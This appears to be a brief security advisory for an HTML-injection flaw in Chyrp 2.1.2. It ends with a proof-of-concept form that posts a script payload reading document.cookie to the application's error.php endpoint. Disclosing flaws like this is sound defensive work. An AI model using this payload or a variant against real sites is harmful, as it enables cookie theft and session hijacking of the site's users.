Chyrp is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.
Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.
Chyrp 2.1.2 is vulnerable; other versions may also be affected.
<form action="http://[host]/includes/error.php" method="post">
<input type="hidden" name="ajax" value="1" />
<input type="hidden" name="body" value='<script>alert(document.cookie);</script>' />
<input type="submit" id="btn">